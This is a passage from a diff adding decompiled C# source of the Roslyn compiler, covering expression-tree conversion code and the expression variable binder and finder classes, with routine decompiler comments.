: symbolOpt.ReturnType); + BoundExpression boundExpression = (flag ? Convert(Visit(node.Operand), node.Operand.Type, symbolOpt.Parameters[0].Type, node.Checked, isExplicit: false) : Visit(node.Operand)); + BoundExpression operand2 = ExprFactory((node.Checked && SyntaxFacts.IsCheckedOperator(symbolOpt.Name)) ? "ConvertChecked" : "Convert", boundExpression, _bound.Typeof(typeSymbol), _bound.MethodInfo(symbolOpt)); + return Convert(operand2, typeSymbol, node.Type, node.Checked, isExplicit: false); + } + case ConversionKind.Identity: + case ConversionKind.ImplicitReference: + { + BoundExpression boundExpression2 = Visit(node.Operand); + if (!node.ExplicitCastInCode) + { + return boundExpression2; + } + return Convert(boundExpression2, node.Type, isChecked: false); + } + case ConversionKind.ImplicitNullable: + { + if (node.Operand.Type.IsNullableType()) + { + return Convert(Visit(node.Operand), node.Operand.Type, node.Type, node.Checked, node.ExplicitCastInCode); + } + TypeSymbol type = ((NamedTypeSymbol)node.Type).TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[0].Type; + BoundExpression operand = Convert(Visit(node.Operand), node.Operand.Type, type, node.Checked, isExplicit: false); + return Convert(operand, type, node.Type, node.Checked, isExplicit: false); + } + case ConversionKind.NullLiteral: + return Convert(Constant(_bound.Null(_objectType)), _objectType, node.Type, isChecked: false, node.ExplicitCastInCode); + default: + return Convert(Visit(node.Operand), node.Operand.Type, node.Type, node.Checked, node.ExplicitCastInCode); + } + } + + private BoundExpression Convert(BoundExpression operand, TypeSymbol oldType, TypeSymbol newType, bool isChecked, bool isExplicit) + { + if (!TypeSymbol.Equals(oldType, newType, (TypeCompareKind)0) || isExplicit) + { + return Convert(operand, newType, isChecked); + } + return operand; + } + + private BoundExpression Convert(BoundExpression expr, TypeSymbol type, bool isChecked) + { + return ExprFactory(isChecked ? "ConvertChecked" : "Convert", expr, _bound.Typeof(type)); + } + + private BoundExpression DelegateCreation(BoundExpression receiver, MethodSymbol method, TypeSymbol delegateType, bool requiresInstanceReceiver) + { + BoundExpression boundExpression = _bound.Null(_objectType); + receiver = (requiresInstanceReceiver ? boundExpression : (receiver.Type.IsReferenceType ? receiver : _bound.Convert(_objectType, receiver))); + MethodSymbol methodSymbol = _bound.WellKnownMethod((WellKnownMember)49, isOptional: true); + BoundExpression node = (((object)methodSymbol == null) ? _bound.StaticCall(_bound.SpecialType((SpecialType)4), "CreateDelegate", _bound.Typeof(delegateType), receiver, _bound.MethodInfo(method)) : _bound.Call(_bound.MethodInfo(method), methodSymbol, _bound.Typeof(delegateType), receiver)); + return Convert(Visit(node), delegateType, isChecked: false); + } + + private BoundExpression VisitDelegateCreationExpression(BoundDelegateCreationExpression node) + { + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_0079: Invalid comparison between Unknown and I4 + if (node.Argument.Kind == BoundKind.MethodGroup) + { + throw ExceptionUtilities.UnexpectedValue((object)BoundKind.MethodGroup); + } + if ((object)node.MethodOpt != null) + { + bool requiresInstanceReceiver = !node.MethodOpt.RequiresInstanceReceiver && !node.IsExtensionMethod; + return DelegateCreation(node.Argument, node.MethodOpt, node.Type, requiresInstanceReceiver); + } + if (node.Argument.Type is NamedTypeSymbol namedTypeSymbol && (int)namedTypeSymbol.TypeKind == 3) + { + return DelegateCreation(node.Argument, namedTypeSymbol.DelegateInvokeMethod, node.Type, requiresInstanceReceiver: false); + } + throw ExceptionUtilities.UnexpectedValue((object)node.Argument); + } + + private BoundExpression VisitFieldAccess(BoundFieldAccess node) + { + BoundExpression boundExpression = (node.FieldSymbol.IsStatic ? _bound.Null(ExpressionType) : Visit(node.ReceiverOpt)); + return ExprFactory("Field", boundExpression, _bound.FieldInfo(node.FieldSymbol)); + } + + private BoundExpression VisitIsOperator(BoundIsOperator node) + { + BoundExpression boundExpression = node.Operand; + if ((object)boundExpression.Type == null && boundExpression.ConstantValueOpt != (ConstantValue)null && boundExpression.ConstantValueOpt.IsNull) + { + boundExpression = _bound.Null(_objectType); + } + return ExprFactory("TypeIs", Visit(boundExpression), _bound.Typeof(node.TargetType.Type)); + } + + private BoundExpression VisitLambda(BoundLambda node) + { + BoundExpression boundExpression = VisitLambdaInternal(node); + if (!node.Type.IsExpressionTree()) + { + return boundExpression; + } + return ExprFactory("Quote", boundExpression); + } + + private BoundExpression VisitLambdaInternal(BoundLambda node) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + ArrayBuilder instance3 = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = node.Symbol.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + LocalSymbol localSymbol = _bound.SynthesizedLocal(ParameterExpressionType, null, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)(-2)); + instance.Add(localSymbol); + BoundLocal boundLocal = _bound.Local(localSymbol); + instance3.Add((BoundExpression)boundLocal); + BoundExpression right = ExprFactory("Parameter", _bound.Typeof(_typeMap.SubstituteType(current.Type).Type), _bound.Literal(current.Name)); + instance2.Add(_bound.AssignmentExpression(boundLocal, right)); + _parameterMap[current] = boundLocal; + } + NamedTypeSymbol delegateType = node.Type.GetDelegateType(); + BoundExpression result = _bound.Sequence(instance.ToImmutableAndFree(), instance2.ToImmutableAndFree(), ExprFactory("Lambda", ImmutableArray.Create((TypeSymbol)delegateType), TranslateLambdaBody(node.Body), _bound.ArrayOrEmpty(ParameterExpressionType, instance3.ToImmutableAndFree()))); + enumerator = node.Symbol.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current2 = enumerator.Current; + _parameterMap.Remove(current2); + } + return result; + } + + private BoundExpression VisitNewT(BoundNewT node) + { + return VisitObjectCreationContinued(ExprFactory("New", _bound.Typeof(node.Type)), node.InitializerExpressionOpt); + } + + private BoundExpression VisitNullCoalescingOperator(BoundNullCoalescingOperator node) + { + BoundExpression boundExpression = Visit(node.LeftOperand); + BoundExpression boundExpression2 = Visit(node.RightOperand); + Conversion conversion = BoundNode.GetConversion(node.LeftConversion, node.LeftPlaceholder); + if (conversion.IsUserDefined) + { + TypeSymbol type = node.LeftPlaceholder.Type; + return ExprFactory("Coalesce", boundExpression, boundExpression2, MakeConversionLambda(conversion, type, node.LeftConversion.Type)); + } + return ExprFactory("Coalesce", boundExpression, boundExpression2); + } + + private BoundExpression MakeConversionLambda(Conversion conversion, TypeSymbol fromType, TypeSymbol toType) + { + string text = "p"; + ParameterSymbol parameterSymbol = _bound.SynthesizedParameter(fromType, text); + LocalSymbol localSymbol = _bound.SynthesizedLocal(ParameterExpressionType, null, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)(-2)); + BoundLocal boundLocal = _bound.Local(localSymbol); + BoundExpression right = ExprFactory("Parameter", _bound.Typeof(fromType), _bound.Literal(text)); + _parameterMap[parameterSymbol] = boundLocal; + BoundExpression boundExpression = Visit(_bound.Convert(toType, _bound.Parameter(parameterSymbol), conversion)); + _parameterMap.Remove(parameterSymbol); + return _bound.Sequence(ImmutableArray.Create(localSymbol), ImmutableArray.Create(_bound.AssignmentExpression(boundLocal, right)), ExprFactory("Lambda", boundExpression, _bound.ArrayOrEmpty(ParameterExpressionType, ImmutableArray.Create((BoundExpression)boundLocal)))); + } + + private BoundExpression InitializerMemberSetter(Symbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Invalid comparison between Unknown and I4 + //IL_0079: Unknown result type (might be due to invalid IL or missing references) + SymbolKind kind = symbol.Kind; + if ((int)kind != 5) + { + if ((int)kind != 6) + { + if ((int)kind == 15) + { + return _bound.MethodInfo(((PropertySymbol)symbol).GetOwnOrInheritedSetMethod()); + } + throw ExceptionUtilities.UnexpectedValue((object)symbol.Kind); + } + return _bound.Convert(MemberInfoType, _bound.FieldInfo((FieldSymbol)symbol)); + } + return _bound.Convert(MemberInfoType, _bound.FieldInfo(((EventSymbol)symbol).AssociatedField)); + } + + private BoundExpression InitializerMemberGetter(Symbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Invalid comparison between Unknown and I4 + //IL_0079: Unknown result type (might be due to invalid IL or missing references) + SymbolKind kind = symbol.Kind; + if ((int)kind != 5) + { + if ((int)kind != 6) + { + if ((int)kind == 15) + { + return _bound.MethodInfo(((PropertySymbol)symbol).GetOwnOrInheritedGetMethod()); + } + throw ExceptionUtilities.UnexpectedValue((object)symbol.Kind); + } + return _bound.Convert(MemberInfoType, _bound.FieldInfo((FieldSymbol)symbol)); + } + return _bound.Convert(MemberInfoType, _bound.FieldInfo(((EventSymbol)symbol).AssociatedField)); + } + + private BoundExpression VisitInitializer(BoundExpression node, out InitializerKind kind) + { + switch (node.Kind) + { + case BoundKind.ObjectInitializerExpression: + { + BoundObjectInitializerExpression obj2 = (BoundObjectInitializerExpression)node; + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = obj2.Initializers.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundAssignmentOperator boundAssignmentOperator = (BoundAssignmentOperator)enumerator.Current; + Symbol memberSymbol = ((BoundObjectInitializerMember)boundAssignmentOperator.Left).MemberSymbol; + InitializerKind kind2; + BoundExpression boundExpression2 = VisitInitializer(boundAssignmentOperator.Right, out kind2); + switch (kind2) + { + case InitializerKind.CollectionInitializer: + { + BoundExpression boundExpression5 = InitializerMemberGetter(memberSymbol); + instance2.Add(ExprFactory("ListBind", boundExpression5, boundExpression2)); + break; + } + case InitializerKind.Expression: + { + BoundExpression boundExpression4 = InitializerMemberSetter(memberSymbol); + instance2.Add(ExprFactory("Bind", boundExpression4, boundExpression2)); + break; + } + case InitializerKind.MemberInitializer: + { + BoundExpression boundExpression3 = InitializerMemberGetter(memberSymbol); + instance2.Add(ExprFactory("MemberBind", boundExpression3, boundExpression2)); + break; + } + default: + throw ExceptionUtilities.UnexpectedValue((object)kind2); + } + } + kind = InitializerKind.MemberInitializer; + return _bound.ArrayOrEmpty(MemberBindingType, instance2.ToImmutableAndFree()); + } + case BoundKind.CollectionInitializerExpression: + { + BoundCollectionInitializerExpression obj = (BoundCollectionInitializerExpression)node; + kind = InitializerKind.CollectionInitializer; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = obj.Initializers.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundCollectionElementInitializer boundCollectionElementInitializer = (BoundCollectionElementInitializer)enumerator.Current; + BoundExpression boundExpression = ExprFactory("ElementInit", _bound.MethodInfo(boundCollectionElementInitializer.AddMethod), Expressions(boundCollectionElementInitializer.Arguments)); + instance.Add(boundExpression); + } + return _bound.ArrayOrEmpty(ElementInitType, instance.ToImmutableAndFree()); + } + default: + kind = InitializerKind.Expression; + return Visit(node); + } + } + + private BoundExpression VisitObjectCreationExpression(BoundObjectCreationExpression node) + { + return VisitObjectCreationContinued(VisitObjectCreationExpressionInternal(node), node.InitializerExpressionOpt); + } + + private BoundExpression VisitObjectCreationContinued(BoundExpression creation, BoundExpression initializerExpressionOpt) + { + if (initializerExpressionOpt == null) + { + return creation; + } + InitializerKind kind; + BoundExpression boundExpression = VisitInitializer(initializerExpressionOpt, out kind); + return kind switch + { + InitializerKind.CollectionInitializer => ExprFactory("ListInit", creation, boundExpression), + InitializerKind.MemberInitializer => ExprFactory("MemberInit", creation, boundExpression), + _ => throw ExceptionUtilities.UnexpectedValue((object)kind), + }; + } + + private BoundExpression VisitObjectCreationExpressionInternal(BoundObjectCreationExpression node) + { + if (node.ConstantValueOpt != (ConstantValue)null) + { + return Constant(node); + } + if ((object)node.Constructor == null || (node.Arguments.Length == 0 && !node.Type.IsStructType()) || node.Constructor.IsDefaultValueTypeConstructor()) + { + return ExprFactory("New", _bound.Typeof(node.Type)); + } + BoundExpression boundExpression = _bound.ConstructorInfo(node.Constructor); + BoundExpression boundExpression2 = _bound.Convert(_IEnumerableType.Construct(ExpressionType), Expressions(node.Arguments)); + if (node.Type.IsAnonymousType && node.Arguments.Length != 0) + { + NamedTypeSymbol type = (NamedTypeSymbol)node.Type; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + for (int i = 0; i < node.Arguments.Length; i++) + { + instance.Add(_bound.MethodInfo(AnonymousTypeManager.GetAnonymousTypeProperty(type, i).GetMethod)); + } + return ExprFactory("New", boundExpression, boundExpression2, _bound.ArrayOrEmpty(MemberInfoType, instance.ToImmutableAndFree())); + } + return ExprFactory("New", boundExpression, boundExpression2); + } + + private BoundExpression VisitParameter(BoundParameter node) + { + return _parameterMap[node.ParameterSymbol]; + } + + private static BoundExpression VisitPointerIndirectionOperator(BoundPointerIndirectionOperator node) + { + return new BoundBadExpression(node.Syntax, LookupResultKind.Empty, ImmutableArray.Empty, ImmutableArray.Create((BoundExpression)node), node.Type); + } + + private static BoundExpression VisitPointerElementAccess(BoundPointerElementAccess node) + { + return new BoundBadExpression(node.Syntax, LookupResultKind.Empty, ImmutableArray.Empty, ImmutableArray.Create((BoundExpression)node), node.Type); + } + + private BoundExpression VisitPropertyAccess(BoundPropertyAccess node) + { + BoundExpression boundExpression = (node.PropertySymbol.IsStatic ? _bound.Null(ExpressionType) : Visit(node.ReceiverOpt)); + MethodSymbol ownOrInheritedGetMethod = node.PropertySymbol.GetOwnOrInheritedGetMethod(); + BoundExpression? receiverOpt = node.ReceiverOpt; + if (receiverOpt != null && receiverOpt.Type.IsTypeParameter() && !node.ReceiverOpt.Type.IsReferenceType) + { + boundExpression = Convert(boundExpression, ownOrInheritedGetMethod.ReceiverType, isChecked: false); + } + return ExprFactory("Property", boundExpression, _bound.MethodInfo(ownOrInheritedGetMethod)); + } + + private static BoundExpression VisitSizeOfOperator(BoundSizeOfOperator node) + { + return new BoundBadExpression(node.Syntax, LookupResultKind.Empty, ImmutableArray.Empty, ImmutableArray.Create((BoundExpression)node), node.Type); + } + + private BoundExpression VisitUnaryOperator(BoundUnaryOperator node) + { + BoundExpression operand = node.Operand; + BoundExpression boundExpression = Visit(operand); + UnaryOperatorKind operatorKind = node.OperatorKind; + UnaryOperatorKind unaryOperatorKind = operatorKind & UnaryOperatorKind.OpMask; + bool flag = (operatorKind & UnaryOperatorKind.Checked) != 0; + string name; + object obj; + switch (unaryOperatorKind) + { + case UnaryOperatorKind.UnaryPlus: + if ((object)node.MethodOpt == null) + { + return boundExpression; + } + name = "UnaryPlus"; + break; + case UnaryOperatorKind.UnaryMinus: + { + if (flag) + { + goto IL_0096; + } + MethodSymbol methodOpt = node.MethodOpt; + if ((object)methodOpt != null) + { + string name2 = methodOpt.Name; + if (name2 != null && SyntaxFacts.IsCheckedOperator(name2)) + { + goto IL_0096; + } + } + obj = "Negate"; + goto IL_009b; + } + case UnaryOperatorKind.LogicalNegation: + case UnaryOperatorKind.BitwiseComplement: + name = "Not"; + break; + default: + { + throw ExceptionUtilities.UnexpectedValue((object)unaryOperatorKind); + } + IL_0096: + obj = "NegateChecked"; + goto IL_009b; + IL_009b: + name = (string)obj; + break; + } + if (node.OperatorKind.OperandTypes() == UnaryOperatorKind.Enum && (operatorKind & UnaryOperatorKind.Lifted) != UnaryOperatorKind.Error) + { + TypeSymbol typeSymbol = PromotedType(operand.Type.StrippedType().GetEnumUnderlyingType()); + typeSymbol = _nullableType.Construct(typeSymbol); + boundExpression = Convert(boundExpression, operand.Type, typeSymbol, flag, isExplicit: false); + BoundExpression node2 = ExprFactory(name, boundExpression); + return Demote(node2, node.Type, flag); + } + if ((object)node.MethodOpt != null) + { + return ExprFactory(name, boundExpression, _bound.MethodInfo(node.MethodOpt)); + } + return ExprFactory(name, boundExpression); + } + + private BoundExpression ExprFactory(string name, params BoundExpression[] arguments) + { + return _bound.StaticCall(ExpressionType, name, arguments); + } + + private BoundExpression ExprFactory(string name, ImmutableArray typeArgs, params BoundExpression[] arguments) + { + return _bound.StaticCall(_ignoreAccessibility ? BinderFlags.IgnoreAccessibility : BinderFlags.None, ExpressionType, name, typeArgs, arguments); + } + + private BoundExpression Constant(BoundExpression node) + { + return ExprFactory("Constant", _bound.Convert(_objectType, node), _bound.Typeof(node.Type)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ExpressionListVariableBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ExpressionListVariableBinder.cs new file mode 100644 index 0000000..50d3fdf --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ExpressionListVariableBinder.cs @@ -0,0 +1,44 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class ExpressionListVariableBinder : LocalScopeBinder +{ + private readonly SeparatedSyntaxList _expressions; + + internal override SyntaxNode ScopeDesignator => (SyntaxNode)(object)_expressions[0]; + + internal ExpressionListVariableBinder(SeparatedSyntaxList expressions, Binder next) + : base(next) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + _expressions = expressions; + } + + protected override ImmutableArray BuildLocals() + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ExpressionVariableFinder.FindExpressionVariables(this, instance, _expressions); + return instance.ToImmutableAndFree(); + } + + internal override ImmutableArray GetDeclaredLocalsForScope(SyntaxNode scopeDesignator) + { + if (ScopeDesignator == scopeDesignator) + { + return Locals; + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/ExpressionListVariableBinder.cs", 48); + } + + internal override ImmutableArray GetDeclaredLocalFunctionsForScope(CSharpSyntaxNode scopeDesignator) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/ExpressionListVariableBinder.cs", 53); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ExpressionVariableBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ExpressionVariableBinder.cs new file mode 100644 index 0000000..d0a2a66 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ExpressionVariableBinder.cs @@ -0,0 +1,38 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class ExpressionVariableBinder : LocalScopeBinder +{ + internal override SyntaxNode ScopeDesignator { get; } + + internal ExpressionVariableBinder(SyntaxNode scopeDesignator, Binder next) + : base(next) + { + ScopeDesignator = scopeDesignator; + } + + protected override ImmutableArray BuildLocals() + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ExpressionVariableFinder.FindExpressionVariables(this, instance, (CSharpSyntaxNode)(object)ScopeDesignator, GetBinder((SyntaxNode)(object)(CSharpSyntaxNode)(object)ScopeDesignator)); + return instance.ToImmutableAndFree(); + } + + internal override ImmutableArray GetDeclaredLocalsForScope(SyntaxNode scopeDesignator) + { + if (ScopeDesignator == scopeDesignator) + { + return Locals; + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/ExpressionVariableBinder.cs", 41); + } + + internal override ImmutableArray GetDeclaredLocalFunctionsForScope(CSharpSyntaxNode scopeDesignator) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/ExpressionVariableBinder.cs", 46); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ExpressionVariableFinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ExpressionVariableFinder.cs new file mode 100644 index 0000000..e5d1e8d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ExpressionVariableFinder.cs @@ -0,0 +1,564 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class ExpressionVariableFinder : CSharpSyntaxWalker where TFieldOrLocalSymbol : Symbol +{ + private ArrayBuilder _variablesBuilder; + + private SyntaxNode _nodeToBind; + + protected void FindExpressionVariables(ArrayBuilder builder, CSharpSyntaxNode node) + { + ArrayBuilder variablesBuilder = _variablesBuilder; + _variablesBuilder = builder; + VisitNodeToBind(node); + _variablesBuilder = variablesBuilder; + } + + public override void VisitSwitchExpression(SwitchExpressionSyntax node) + { + Visit((SyntaxNode?)(object)node.GoverningExpression); + } + + public override void VisitSwitchExpressionArm(SwitchExpressionArmSyntax node) + { + SyntaxNode nodeToBind = _nodeToBind; + _nodeToBind = (SyntaxNode)(object)node; + Visit((SyntaxNode?)(object)node.Pattern); + Visit((SyntaxNode?)(object)node.WhenClause?.Condition); + Visit((SyntaxNode?)(object)node.Expression); + _nodeToBind = nodeToBind; + } + + public override void VisitVariableDeclarator(VariableDeclaratorSyntax node) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + if (node.ArgumentList != null) + { + Enumerator enumerator = node.ArgumentList.Arguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + ArgumentSyntax current = enumerator.Current; + Visit((SyntaxNode?)(object)current.Expression); + } + } + VisitNodeToBind(node.Initializer); + } + + public override void VisitGotoStatement(GotoStatementSyntax node) + { + if (node.Kind() == SyntaxKind.GotoCaseStatement) + { + Visit((SyntaxNode?)(object)node.Expression); + } + } + + private void VisitNodeToBind(CSharpSyntaxNode node) + { + SyntaxNode nodeToBind = _nodeToBind; + _nodeToBind = (SyntaxNode)(object)node; + Visit((SyntaxNode?)(object)node); + _nodeToBind = nodeToBind; + } + + protected void FindExpressionVariables(ArrayBuilder builder, SeparatedSyntaxList nodes) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder variablesBuilder = _variablesBuilder; + _variablesBuilder = builder; + Enumerator enumerator = nodes.GetEnumerator(); + while (enumerator.MoveNext()) + { + ExpressionSyntax current = enumerator.Current; + VisitNodeToBind(current); + } + _variablesBuilder = variablesBuilder; + } + + public override void VisitEqualsValueClause(EqualsValueClauseSyntax node) + { + VisitNodeToBind(node.Value); + } + + public override void VisitArrowExpressionClause(ArrowExpressionClauseSyntax node) + { + VisitNodeToBind(node.Expression); + } + + public override void VisitSwitchSection(SwitchSectionSyntax node) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator = node.Labels.GetEnumerator(); + while (enumerator.MoveNext()) + { + SwitchLabelSyntax current = enumerator.Current; + switch (current.Kind()) + { + case SyntaxKind.CasePatternSwitchLabel: + { + CasePatternSwitchLabelSyntax casePatternSwitchLabelSyntax = (CasePatternSwitchLabelSyntax)current; + SyntaxNode nodeToBind = _nodeToBind; + _nodeToBind = (SyntaxNode)(object)casePatternSwitchLabelSyntax; + Visit((SyntaxNode?)(object)casePatternSwitchLabelSyntax.Pattern); + if (casePatternSwitchLabelSyntax.WhenClause != null) + { + VisitNodeToBind(casePatternSwitchLabelSyntax.WhenClause.Condition); + } + _nodeToBind = nodeToBind; + break; + } + case SyntaxKind.CaseSwitchLabel: + { + CaseSwitchLabelSyntax caseSwitchLabelSyntax = (CaseSwitchLabelSyntax)current; + VisitNodeToBind(caseSwitchLabelSyntax.Value); + break; + } + } + } + } + + public override void VisitAttribute(AttributeSyntax node) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + if (node.ArgumentList != null) + { + Enumerator enumerator = node.ArgumentList.Arguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + AttributeArgumentSyntax current = enumerator.Current; + VisitNodeToBind(current.Expression); + } + } + } + + public override void VisitThrowStatement(ThrowStatementSyntax node) + { + VisitNodeToBind(node.Expression); + } + + public override void VisitReturnStatement(ReturnStatementSyntax node) + { + VisitNodeToBind(node.Expression); + } + + public override void VisitYieldStatement(YieldStatementSyntax node) + { + VisitNodeToBind(node.Expression); + } + + public override void VisitExpressionStatement(ExpressionStatementSyntax node) + { + VisitNodeToBind(node.Expression); + } + + public override void VisitLockStatement(LockStatementSyntax node) + { + VisitNodeToBind(node.Expression); + } + + public override void VisitIfStatement(IfStatementSyntax node) + { + VisitNodeToBind(node.Condition); + } + + public override void VisitSwitchStatement(SwitchStatementSyntax node) + { + VisitNodeToBind(node.Expression); + } + + public override void VisitDeclarationPattern(DeclarationPatternSyntax node) + { + VariableDesignationSyntax designation = node.Designation; + if (designation != null && designation.Kind() == SyntaxKind.SingleVariableDesignation) + { + TFieldOrLocalSymbol val = MakePatternVariable(node.Type, (SingleVariableDesignationSyntax)node.Designation, _nodeToBind); + if ((object)val != null) + { + _variablesBuilder.Add(val); + } + } + base.VisitDeclarationPattern(node); + } + + public override void VisitVarPattern(VarPatternSyntax node) + { + VisitPatternDesignation(node.Designation); + base.VisitVarPattern(node); + } + + private void VisitPatternDesignation(VariableDesignationSyntax node) + { + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + switch (node.Kind()) + { + case SyntaxKind.SingleVariableDesignation: + { + TFieldOrLocalSymbol val = MakePatternVariable(null, (SingleVariableDesignationSyntax)node, _nodeToBind); + if ((object)val != null) + { + _variablesBuilder.Add(val); + } + break; + } + case SyntaxKind.ParenthesizedVariableDesignation: + { + Enumerator enumerator = ((ParenthesizedVariableDesignationSyntax)node).Variables.GetEnumerator(); + while (enumerator.MoveNext()) + { + VariableDesignationSyntax current = enumerator.Current; + VisitPatternDesignation(current); + } + break; + } + default: + throw ExceptionUtilities.UnexpectedValue((object)node.Kind()); + case SyntaxKind.DiscardDesignation: + break; + } + } + + public override void VisitRecursivePattern(RecursivePatternSyntax node) + { + TFieldOrLocalSymbol val = MakePatternVariable(node.Type, node.Designation as SingleVariableDesignationSyntax, _nodeToBind); + if ((object)val != null) + { + _variablesBuilder.Add(val); + } + base.VisitRecursivePattern(node); + } + + public override void VisitListPattern(ListPatternSyntax node) + { + TFieldOrLocalSymbol val = MakePatternVariable(null, node.Designation as SingleVariableDesignationSyntax, _nodeToBind); + if ((object)val != null) + { + _variablesBuilder.Add(val); + } + base.VisitListPattern(node); + } + + protected abstract TFieldOrLocalSymbol MakePatternVariable(TypeSyntax type, SingleVariableDesignationSyntax designation, SyntaxNode nodeToBind); + + public override void VisitParenthesizedLambdaExpression(ParenthesizedLambdaExpressionSyntax node) + { + } + + public override void VisitSimpleLambdaExpression(SimpleLambdaExpressionSyntax node) + { + } + + public override void VisitAnonymousMethodExpression(AnonymousMethodExpressionSyntax node) + { + } + + public override void VisitQueryExpression(QueryExpressionSyntax node) + { + VisitNodeToBind(node.FromClause.Expression); + Visit((SyntaxNode?)(object)node.Body); + } + + public override void VisitQueryBody(QueryBodySyntax node) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator = node.Clauses.GetEnumerator(); + while (enumerator.MoveNext()) + { + QueryClauseSyntax current = enumerator.Current; + if (current.Kind() == SyntaxKind.JoinClause) + { + VisitNodeToBind(((JoinClauseSyntax)current).InExpression); + } + } + Visit((SyntaxNode?)(object)node.Continuation); + } + + public override void VisitBinaryExpression(BinaryExpressionSyntax node) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ExpressionSyntax expressionSyntax = node; + do + { + BinaryExpressionSyntax binaryExpressionSyntax = (BinaryExpressionSyntax)expressionSyntax; + ArrayBuilderExtensions.Push(instance, binaryExpressionSyntax.Right); + expressionSyntax = binaryExpressionSyntax.Left; + } + while (expressionSyntax is BinaryExpressionSyntax); + Visit((SyntaxNode?)(object)expressionSyntax); + while (instance.Count > 0) + { + 